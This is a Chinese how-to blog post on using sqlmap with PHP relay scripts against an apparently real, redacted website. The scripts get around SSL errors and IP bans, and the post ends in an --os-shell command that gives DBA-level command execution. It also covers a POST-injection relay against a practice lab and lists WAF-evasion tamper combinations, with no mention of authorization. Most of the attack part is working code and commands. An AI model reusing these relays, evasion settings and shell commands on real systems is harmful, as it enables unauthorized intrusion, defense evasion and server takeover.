实战sqlmap绕过WAF

本文转载于https://xz.aliyun.com/t/10385

实战演示

通过前期的信息收集发现存在注入的页面如下:

直接使用sqlmap跑发现出现如下错误:

python2 sqlmap.py -u "http://xxxx?&daxxtae=null&parame=xxxxxx" --batch --delay=1 --random-agent_____H_____ ___["]_____ ___ ___  {1.5.4.7#dev}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _||_|V...       |_|   http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 10:12:10 /2021-10-10/
[10.12.10] [INFO] parsing HTTP request from '49'
custom injection marking character ('*') found in option '--data'. Do you want to process it?  [Y/n/q]Y
[10:12:10] [INFO] testing connection to the target URL
[10:12:10] [CRITICAL] can't establish SSL connection

一看无法建立SSL连接,好不容易发现一个注入点,难道就这样放弃了吗?先百度一波,看看SSL证书原理,就用一张图来理解更直接明了。

那么遇到这样的情况要怎么绕呢?在sqlmap中没有绕过SSL证书的参数,思考了很长时间,终于想起来原来貌似有一个中转注入。这里要解决的第一个问题是有哪些脚本语言能够在请求网址时忽略SSL证书,第二个问题是我还需要使用sqlmap中的payload,这两个都要满足,通过查询了解到PHP可以使用参数来忽略SSL证书,由于并不是搞开发的,所以这里还是思考了很长时间,先来理解一下中转注入的原理吧。

中转注入的原理

首先我们我们来分析一下sqlmap中转注入的原理,如下图:

为了让大家更加容易解,先使用简单的脚本演示一遍,演示代码如下:

<?php
$payload=base64_encode($_GET['x']);//对中转脚本接收的参数进行base64编码
echo $payload
$urls="http://xxx/xxxx?q=1$payload";//对请求的网址拼接base64编码的字符串
file_get_contents($urls);//请求目标网站
echo $urls;
?>

网上随便找需一个后面有参数的网站,添加到$urls变量中,将上述代码放在本地服务器中,然后访问,可以看到成功请求到我们添加的网站

使用sqlmap跑一下,设置一下代理使用burp来抓包

python2 sqlmap.py -u "http://127.0.0.1/zhongzhuan.php?x=1"  -v 3 --proxy=http://127.0.0.1:8080

成功看到各种payload


burp抓包的结果

<?php
set_time_limit(0); 
$id=$_GET["id"]; 
$id=str_replace(" ","/**/",$id); 
$id=str_replace("=","%3D",$id); //这些编码机制可以自己的需求设定,毕竟实战的环境变换多样
$url = "http://xxxx?&daxxtae=null&parame=$id";
echo $url;
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "$url"); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值   
$output = curl_exec($ch); 
curl_close($ch); 
print_r($output);
?>

此时中转脚本已经写好了,用sqlmap跑,没想到呀,既然流量有限制,就算请求延迟调得很慢,还是直接将我的ip给封了,此时又是一个漫长的过程,又要继续思考了,在sqlmap中有代理设置参数,哈哈哈这都知道,但是试了试一试不可以,一直思考呀,首先我们借助了中转脚本,先请求的是我们的本地服务器,你说外网的代理服务器直接访问我本地服务器这是一个不现实的问题,最主要是我没有公网服务器,不然就好办了,所以现在需要思考两个问题,首先我要用到中转脚本过证书问题,还要能够使用代理,在PHP代码上使用代理池设置。此时sqlmap先请求我们中转脚本(并没有用代理地址),中转脚本借助设置的代理地址迟访问目标网页。
现在代码修改成了如下:

<?php
set_time_limit(0); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url = "http://xxxx?&daxxtae=null&parame=$id";
echo $url;
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "$url"); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_PROXY, 'proxy.xxxx.com'); //代理服务器地址
curl_setopt($ch, CURLOPT_PROXYPORT, '8080'); //代理服务器端口
$output = curl_exec($ch); 
curl_close($ch); 
print_r($output);
?>

在使用sqlmap跑的时候最好先本地测试一下,经过了20多分钟的扫描终于算是出东西了

直接看一下能否写shell,搞个高危,运气就是这么好

python2 sqlmap.py -u "http://xxxx?&daxxtae=null&param=xxx" --batch --delay=1 --random-agent --os-shell

成功拿到了dba权限

成功执行命令,不过是真的慢,可能是有防护软件原因吧。

在这里问题又来了,要是post型注入又该怎么办呢?上面的脚本似乎不在使用思考了很长时间,但是也没有在实际中遇到,所以这里就想本地尝试一次。

post型中转注入

在注入天书中有post型注入,随便选了一个11关卡,抓取less-11关的包,注入点在登录框这里。

注入点为

uname=admin&passwd=hhh&submit=Submit

构造中转脚本如下:

<?php
$url = "http://192.168.1.104/sqli/Less-11/index.php";
$sql = $_GET[s];//获取中转脚本传过来的payload 
$s = urlencode($sql);
$params = "uname=admin$s&passwd=aa";
$ch = curl_init();// 创建一个新cURL资源curl_setopt($ch, CURLOPT_URL, $url);//这是你想用PHP取回的URL地址,可以在用curl_init()函数初始化时设置这个选项
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值   
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP请求中自定义一个”user-agent”头的字符串
curl_setopt($ch, CURLOPT_TIMEOUT, 15);//为了应对目标服务器的过载,下线,或者崩溃等可能状况。
curl_setopt($ch, CURLOPT_POST, 1);    // post 提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
// 抓取URL并把它传递给浏览器 
$output = curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
$a = strlen($output);
//echo $a;
if($a==2846){echo "1";
}else{echo "2";
}

使用sqlmap进行注入

首先注入我们的中转脚本

中转脚本通过获取的payload请求目标网站

成功跑出数据库

sqlmap绕过WAF的思路总结

1、设置请求头

--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

2、设置代理

--proxy=http://127.0.0.1:8080

3、设置延迟

--delay=1

4、利用--tamper参数中的编码脚本
常见编码搭配方式
普通tamper搭配方式:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

数据库为MSSQL的搭配方式:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

数据库为MySql的搭配方式:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358413.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QQ群群排名如何进行SEO优化?

QQ群排名有多个方面&#xff0c;比如你的qq群名称&#xff0c;人数&#xff0c;还有活跃度等等&#xff0c;很多因素影响你的群排名。下面给大家讲解如何做到搜索第一。第一&#xff1a;群名称群名称一定要和你搜索的关键词相匹配&#xff0c;比如我建的一个粉丝群“爱嵩阁”&a…

Flash不同版本的下载安装及必要的系统组件未正常运行的解决办法

在一个外包平台刷入职培训视频&#xff0c;类似于慕课的课程&#xff0c;需要安装Flash才能播放。一般推荐谷歌浏览器&#xff0c;值得注意的是2020年12月&#xff0c;谷歌浏览器将不再支持flash flash官网 安装步骤 在百度搜索"flash"&#xff0c;点击Flash中国官…

UEditor 任意文件上传漏洞

1 漏洞简介 1.1 漏洞描述 Ueditor是百度开发的一个网站编辑器&#xff0c;目前已经不对其进行后续开发和更新&#xff0c;该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响&#xff0c;.net存在任意文件上传&#xff0c;绕过文件格式的限制…

HDU 3072 SCC Intelligence System

给出一个带权有向图&#xff0c;要使整个图连通。SCC中的点之间花费为0&#xff0c;所以就先缩点&#xff0c;然后缩点后两点之间的权值为最小边的权值&#xff0c;把这些权值累加起来就是答案。 1 #include <iostream>2 #include <cstdio>3 #include <algorith…

再见,Springboot和SpringCloud

Java中说到微服务肯定离不开Spring Boot和Spring Cloud&#xff0c;这两者到底有什么关系&#xff0c;什么是微服务&#xff0c;如果单纯的说SpringBoot&#xff0c;SpringCloud&#xff0c;都是不准确的&#xff0c;那应该怎么回答。官网对于Spring Boot的介绍Spring Boot mak…

通过暴露出来的OA和github信息拿Shell

本文转载于https://xz.aliyun.com/t/10392 记一次授权渗透测试 一&#xff1a;信息收集阶段 因为目标是学校&#xff0c;一般会去考虑收集学号&#xff0c;教工号。因为有的登陆点需要此类信息&#xff0c;且密码存在规律性&#xff08;身份证后六位&#xff0c;123456&#xf…

手机上可以编程看代码的软件

以后大家会在路上看到很多人拿着手机,他不是在聊天,他有可能是运维工程师、也可能是算法开发、也可能是java开发,还可能是客户端开发,也可能是前端开发... 让你编程一直在路上,这到底是程序员的福音,还是码农的枷锁。 粉丝提问: 这里介绍几款可以在手机上编程的app,分…

给你的执行力马上充值

“执行力就是在既定的战略和愿景的前提下,组织对内外部可利用的资源进行综合协调,制定出可行性的战略,并通过有效的执行措施从而最终实现组织目标、达成组织愿景的一种力量。执行力是一个变量,不同的执行者在执行同一件事情的时候也会得到不同的结果。执行力不但因人而异,而且还…

性能,可伸缩性和活力

本文是我们学院课程中名为Java Concurrency Essentials的一部分 。 在本课程中&#xff0c;您将深入探讨并发的魔力。 将向您介绍并发和并发代码的基础知识&#xff0c;并学习诸如原子性&#xff0c;同步和线程安全之类的概念。 在这里查看 &#xff01; 目录 1.简介 2.表现…

BurpSuite v2021.8.2安装使用

文章前言 几个月之前&#xff0c;Burpsuit官方发布了BurpSuite v2021.8.2&#xff0c;但是迟迟没有时间来试试手&#xff0c;正好借着这次调休的时间来写写文章&#xff0c;顺便更新一下Burpsuite 软件下载 天翼云盘 极速安全 家庭云|网盘|文件备份|资源分享 软件安装 Step 1&a…

程序员赚钱资源汇总,结合自己亲身经历

知识计算机知识深入理解计算机系统-必修课&#xff0c;NB学校的NB课程的NB教材代码大全-&#xff08;不要被这个名字吓到&#xff0c;英文叫做 Code complete&#xff09;微软的书&#xff0c;几乎可以当作是软件工程的百科全书。很少有人完全精通甚至完成这本书中所有部分的学…

逍遥模拟器配置burpsuite抓包环境

电脑与逍遥模拟器处于同一网段&#xff0c;在burpsuite中设置代理&#xff1a; 之后在逍遥模拟器中设置网络代理 之后直接下载下面的证书并且将其拖放到逍遥模拟器中&#xff1a; 证书下载地址&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1qJmcKcVj3NqmrWKf6zb83g …

OC本学习笔记Foundation框架NSString与NSMutableString

一、NSString与NSMutableString 相信大家对NSString类都不陌生。它是OC中提供的字符串类。它的对象中的字符串都是不可变的&#xff0c;而它的子类NSMutableString类的对象中的字符串就是可变的。什么是可变与不可变呢&#xff1f;二者的差别就是在已经创建的一个字符串…

phpMyAdmin渗透利用总结

phpMyAdmin渗透利用总结 前言 总结一下常见的phpmyadmin的漏洞利用姿势 简介 phpMyAdmin 是一个以PHP为基础&#xff0c;以Web-Base方式架构在网站主机上的MySQL的数据库管理工具&#xff0c;让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂…

SQL之条件判断专题

Case when (case when 情况1 then 结果1 when 情况1 then 结果1 else &#xff0b;剩余结果 end ) 列名 IF表达式 IF(判断内容&#xff0c;0&#xff0c;1) SELECT IF( sex1&#xff0c;男 &#xff0c;女 )sex from student IFNULL表达式 IF(判断内容&#xff0c;x) 假如判…

Struts2漏洞和Struts Scan工具实战

一、Apache Struts 2漏洞背景 1.漏洞详情 2017年3月6日&#xff0c;Apache Struts 2被曝存在远程命令执行漏洞。在使用基于Jakarta插件的文件上传功能条件下&#xff0c;恶意用户可以通过修改HTTP请求头中的Content-Type值构造恶意代码&#xff0c;在服务器上执行系统命令&…

2020年前端招聘技术概览

学习当下前端技术最好的方法就是从求职网站上找出前端的招聘要求&#xff0c;因为前端技术每年变化都很快&#xff0c;每个阶段都会不一样&#xff0c;这里简单从网站招聘要求罗列&#xff0c;仅供参考。更有针对性的是针对每个公司的招聘要求写简历&#xff0c;学习相关技术&a…

jexboss工具 -- JBOSS未授权访问漏洞利用

其实所有的节日&#xff0c;都不是为了礼物和红包而生&#xff0c;而是提醒我们不要忘记爱与被爱&#xff0c;生活需要仪式感&#xff0c;而你需要的是在乎和关爱。。。 ---- 网易云热评 小受&#xff1a;Ubuntu20 小攻&#xff1a;Kali2020 一、搭建该漏洞环境 查看上一篇文章…

前端工程师有哪些面试技巧值得掌握?

这段时间受到疫情的影响&#xff0c;本身做java开发的&#xff0c;面试了入职了一个外包公司的前端岗位&#xff0c;入职属于驻场开发的那种&#xff0c;前几周基本没啥事&#xff0c;一般经理会让你刷题&#xff0c;到了驻场那边需要机试过关才能在那边开发&#xff0c;这边在…

Fastjson批量检查及一键利用工具

0x01 序章 上次讲解过手动利用fastjson&#xff0c;但讲的过于太简单了。根据大家的反应&#xff0c;收集如下几个问题。 1、如何盲打fastjson 2、判断fastjson的指纹 3、各版本payload以及使用ldap模式监听。 下面我就一一解答&#xff0c;我只是把我在网上查到的资料消化 后分…